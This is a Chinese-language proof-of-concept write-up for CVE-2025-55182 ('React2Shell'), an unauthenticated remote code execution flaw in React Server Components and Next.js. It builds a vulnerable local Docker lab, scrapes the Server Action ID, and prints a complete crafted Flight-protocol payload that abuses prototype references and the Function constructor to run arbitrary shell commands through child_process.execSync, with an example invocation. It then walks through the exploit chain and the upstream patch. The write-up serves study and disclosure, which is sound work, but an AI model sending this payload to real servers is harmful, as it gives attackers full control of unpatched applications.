
CVE-2025-55182 (React2Shell) 的概念验证:通过Flight协议反序列化在React Server Components / Next.js中的未认证远程代码执行。
CVE-2025-55182 是 2025 年影響最廣的 Web 框架漏洞之一。React Server Components(RSC)已是現代 Next.js 應用的主流架構,大量以 create-next-app 建立的標準專案皆在受影響範圍內,且無需任何客製化程式碼即可被利用。
| 項目 | 內容 |
|---|---|
| CVE 編號 | CVE-2025-55182 |
| 別稱 | React2Shell |
| 漏洞類型 | 未認證遠端程式碼執行(Unauthenticated RCE);CWE-502 反序列化不可信資料(Deserialization of Untrusted Data)[3] |
| CVSS 評分 | 10.0(Critical)(CVSS 3.1,Facebook/CNA [2]) |
| 受影響套件 | react-server-dom-parcel、react-server-dom-turbopack、react-server-dom-webpack |
| 受影響版本 | React 19.0.0~19.2.0 / Next.js 14.3.0-canary.77 以上、15.x、16.x |
| 攻擊複雜度 | 極低(單一 HTTP POST 請求) |
| 是否需要認證 | 否 |
使用含有漏洞的版本(16.0.6)建立 Next 應用:
pnpm create [email protected] next-app --yes
在 next-app/app/ 下新增 actions.ts,標記為 Server Action:
"use server";
export async function testAction(formData: FormData) {
console.log("Action called with:", formData);
}
在首頁(例如 app/page.tsx)加入表單,action 指向上述 testAction,並至少包含一個欄位(例如 hidden input)。
Next.js 會為該表單在 HTML 中產生
name="$ACTION_ID_<40 字元 hex>"的 hidden input;POC 會從首頁 HTML 以正則取出此 ID。
專案內 next-app/Dockerfile 與 docker-compose.yml 可用於建置並執行 Next 應用,撰寫方式可參考官方範例 [8]。
在專案根目錄執行:
docker compose up --build -d
即可在 http://localhost:3000 存取已啟動的 Next 應用。
POC 結束後,完整移除 Docker 環境:
docker compose down -v
執行 POC 時,腳本會 fetch 首頁並以正則 \$ACTION_ID_([a-f0-9]{40})/ 取出 ID。範例:
const ACTION_ID_REGEX = /\$ACTION_ID_([a-f0-9]{40})/
async function extractActionIdFromPage(baseUrl: string) {
const response = await fetch(baseUrl);
const html = await response.text();
const match = html.match(ACTION_ID_REGEX);
return match ? match[1] : "";
}
在專案根目錄安裝依賴後執行:
pnpm install
pnpm poc [BASE_URL] [EXECUTABLE]
關鍵程式碼片段如下:
function escapeExecutable(executable: string) {
return executable.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
}
const escapedExecutable = escapeExecutable(executable);
const craftedChunk = {
then: "$1:__proto__:then",
status: "resolved_model",
reason: -1,
value: '{"then": "$B0"}',
_response: {
_prefix: `process.mainModule.require('child_process').execSync('${escapedExecutable}');`,
_formData: {
get: "$1:constructor:constructor",
},
},
};
const formData = new FormData();
formData.append("0", JSON.stringify(craftedChunk));
formData.append("1", '"$@0"');
const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), 3000);
try {
const response = await fetch(baseUrl, {
method: "POST",
headers: { "Next-Action": actionId },
body: formData,
signal: controller.signal,
});
clearTimeout(timeoutId);
const text = await response.text();
console.log(`Status Code: ${response.status}`);
console.log(`Response: ${text.slice(0, 500)}`);
} catch (e) {
// handle timeout or error
}
以下以在目標主機寫入檔案為例:
pnpm poc http://localhost:3000 "echo 'RCE_SUCCESS' > /tmp/rce_output"
docker compose exec 進入容器查看,或透過 Docker Desktop 操作。漏洞位於 React 的 Flight 協議反序列化機制(RSC Flight Deserializer)。此機制負責在伺服器與客戶端之間傳遞 React 元件狀態,但處理流程存在嚴重的信任邊界問題。
React Flight 協定是 React 為 Server Components 與 Server Actions 設計的線路格式(wire format):將元件樹、函式參數等序列化成以 JSON 表示的 chunk 流,並透過
$數字、$數字:鍵名在 chunk 之間建立引用,讓伺服器還原出完整的 JavaScript 值。
攻擊者發送惡意 HTTP POST
↓
[階段 1] 建立自我參照迴圈物件(Self-referential loop)
↓
[階段 2] 誘騙 JavaScript 引擎呼叫攻擊者控制的函式
↓
[階段 3] 注入惡意資料觸發 Flight 初始化流程
↓
[階段 4] 透過 Blob Handler 呼叫 Function constructor
↓
任意 JavaScript 在伺服器端執行(RCE)
React 的 Server Functions(在 Next.js 中即 Server Actions)會將前端要傳給後端的資料,透過 React Flight 協定 序列化成「一塊一塊」的 chunk,再以表單(form data)送出。
此設計的優點包括:
Chunk 之間可互相引用,例如:
["$1"](引用第 1 塊){"object":"fruit","name":"$2:fruitName"}(引用第 2 塊的 fruitName){"fruitName":"cherry"}伺服器解讀後得到:{ object: 'fruit', name: 'cherry' }。亦即協定允許以 $數字:鍵名 指向其他 chunk 的屬性,再組合成最終的 JavaScript 物件。
修補前的實作在解析這些引用時,未嚴格檢查「該鍵是否真的存在於該物件自身」,攻擊者因此可透過引用讀取 物件原型(prototype) 上的屬性。
例如可構造如下 payload:
["$1:__proto__:constructor:constructor"]{"x":1}伺服器解析「chunk 1 的 __proto__ → constructor → constructor」時,會取得 Function 建構式([Function: Function]),即「以字串建出函式」的內建建構式。亦即:透過不當的引用鏈,可在伺服器端取得 Function,進而將字串當成程式碼執行。
Next.js 收到表單後,會以 decodeReplyFromBusboy 將 chunk 還原成一個值,並對該值做 await。
在 JavaScript 中,若物件具有 .then 方法,即會被視為 thenable;await 時會呼叫此 .then。因此若能使「解碼結果」的 .then 指向攻擊者控制的函式(例如前述的 Function 建構式),在 await 當下就會執行該邏輯。攻擊的下一步即:構造一個「解碼後形同 thenable」的物件,並將其 .then 指向預期的呼叫點(call gadget)。
以 $@0 引用「原始 chunk」
協定中 $@數字 表示「取第 N 塊的原始內容,不再往下解析」。因此可讓 chunk 1 為 "$@0",使解析過程讀取「chunk 0 自身」的原始表示。
將 chunk 0 的 .then 指向 Chunk 的 prototype
若 chunk 0 為物件且形如 {"then": "$1:__proto__:then", ...},chunk 1 為 "$@0",解析時會把 chunk 0 的 .then 設為 Chunk.prototype.then(Flight 協定中 Chunk 本身為 thenable)。如此一來,當 Next.js 對解碼結果做 await 時,就會進入 Chunk 的 .then 邏輯。
觸發 initializeModelChunk
在 Chunk.prototype.then 中,若該「假 chunk」的 status 為 "resolved_model",會進入 initializeModelChunk。此處會將 chunk 的 value 當作 JSON 解析,並對解析出的物件進行一輪「復活」(revive),其中會處理各種特殊前綴(例如 開頭的 blob 引用)。
React 在 PR #35277 [9](commit e2fd5dc [10])中修補此漏洞,重點有二:
限制屬性解析不沿 prototype 鏈
在 requireModule 等解析 chunk 引用的邏輯中,改為先以 hasOwnProperty 檢查「該鍵是否真的存在於該物件自身」;若否,則回傳 undefined,不再從 __proto__ 取得 constructor 等不應暴露的屬性。此修改套用於多個 Flight 相關模組(如 ReactFlightClientConfigBundlerNode、ReactFlightClientConfigBundlerWebpack 及 Parcel / Turbopack 對應設定),阻斷「透過引用取得 Function 建構式 → 構造 thenable → 觸發 get gadget 執行任意程式碼」的利用鏈。
decodeReplyFromBusboy 的錯誤處理
在解析 form data(resolveField、resolveFileComplete 等)時加入 try/catch,一旦解析拋錯即呼叫 busboyStream.destroy(error),使錯誤正確傳遞並避免串流處於不一致狀態,降低解析異常時的可利用面。
$B呼叫點:_response._formData.get(_prefix + id)
處理 $B 前綴時,程式會執行:
response._formData.get(response._prefix + 某個 id)。
若在假 chunk 中透過 _response 控制 _formData 與 _prefix,並將 _formData.get 指向 Function 建構式、_prefix 設為欲執行的程式碼字串,該行即變為:
Function("我們寫的程式碼" + "0")
亦即「以字串建出一個函式」。此函式會作為該 chunk 的 .then 回傳值,並在同一 promise 鏈中被 await 呼叫,從而在伺服器上執行我們的程式碼。
實際 RCE
將「我們寫的程式碼」改為例如:
process.mainModule.require('child_process').execSync('要執行的系統指令');
即可在伺服器上達成 遠端程式碼執行(RCE)。